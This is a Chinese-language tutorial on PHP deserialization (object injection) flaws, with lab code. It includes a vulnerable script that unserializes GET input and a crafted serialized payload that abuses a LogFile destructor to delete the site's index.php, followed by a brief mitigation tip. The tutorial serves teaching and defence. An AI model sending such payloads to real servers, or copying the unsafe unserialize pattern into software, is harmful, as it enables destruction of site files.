PHP反序列化漏洞

0x00 序列化和反序列化

PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输,比如跨脚本等。而PHP反序列化是将序列化之后的字节流还原成对象、字符、数组等。但是PHP序列化是不会保存对象的方法。

serialize可以将变量转换为字节流并且在转换中可以保存当前变量的值;unserialize则可以将serialize生成的字节流变换回变量。

我们看一个序列化后再反序列化的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
header('Content-Type: text/html; charset=gb2312');
$arr=array();
$arr['name']='名字';
$arr['age']='21';
$arr['sex']='男';
$arr['phone']='12345678910';
$arr['address']='上海';
var_dump($arr);
$info=serialize($arr);
var_dump($info);
$info_array=unserialize($info);
var_dump($info_array);
?>

然后输出结果:

0x01 PHP反序列化漏洞

PHP类中有一种特殊函数体的存在叫魔法函数,magic函数命名是以符号开头的,比如 construct, destruct, toString, sleep, wakeup等等。这些函数在某些情况下会自动调用,比如construct当一个对象创建时被调用,destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。
而在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。我们在变量可控并且进行了unserialize操作的地方注入序列化对象,实现代码执行,那么就可能引发对象注入漏洞。

0x02 简单测试

1
2
3
4
5
6
7
8
9
10
<?php
class A{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

比如上述代码,构造payload为http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test";s:5:"hello";}
这里O表示对象,1表示对象名长度,”A”是对象名,下来的1是对象中的字段名,后面花括号中的s代表string,4代表长度,”test”是内容;s代表string,5代表长度,”hello”是内容。

下面是一些数据类型的代表字母:

  • a - array
  • b - boolean
  • d - double
  • i - integer
  • o - common object
  • r - reference
  • s - string
  • C - custom object
  • O - class
  • N - null
  • R - pointer reference
  • U - unicode string

反序列化后在脚本运行结束时就会调用_destruct函数,同时会覆盖test变量输出hello。

0x03 漏洞利用

我们再尝试一种方式利用漏洞。

先创建logfile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class LogFile
{
// log文件名
public $filename = 'error.log';
// 储存日志文件
public function LogData($text)
{
echo 'Log some data: ' . $text . '<br />';
file_put_contents($this->filename, $text, FILE_APPEND);
}
// 删除日志文件
public function __destruct()
{
echo '__destruct deletes "' . $this->filename . '" file. <br />';
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
?>

这是一个很简单的日志文件处理的类,其中有一处需要注意的地方就是在对象消亡的时候,有一个析构函数来显示一条删除的提示并删除这个日志文件。

下来我们看一个使用他的例子,创建一个日志文件1.log,再创建一个log.php写入如下内容:

1
2
3
4
5
6
7
<?php
include 'logfile.php';
$obj = new LogFile();
$obj->filename = '1.log';
$obj->LogData('Test');
//一些操作
?>

这个例子里,我们创建了一个新的LogFile对象,filename是1.log,然后在一些我们进行的操作之后,对象要消亡时1.log就会被删除。这是一个正常的使用方式。

然后如果服务器其他位置的一个脚本unserialize.php可以进行反序列化,而且参数可控,比如下面代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include 'logfile.php';
class User
{
// 类数据
public $age = 0;
public $name = '';
public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}
$usr = unserialize($_GET['usr_serialized']);
?>

然后我们就可以在这里利用反序列化来对服务器上文件进行删除操作。

假如我们网站主页index.php是这样的:

1
2
3
<?php
echo "exist"
?>

然后我们正常访问是:

然后我们在刚才可以调用unserialize函数的页面,url后面构造如下内容:

1
http://127.0.0.1/serialize/unserialize.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:"index.php";}

就会发现,主页被删除:

0x04 应对

  • 严格控制unserialize函数的参数,对unserialize后的变量内容进行检查,过滤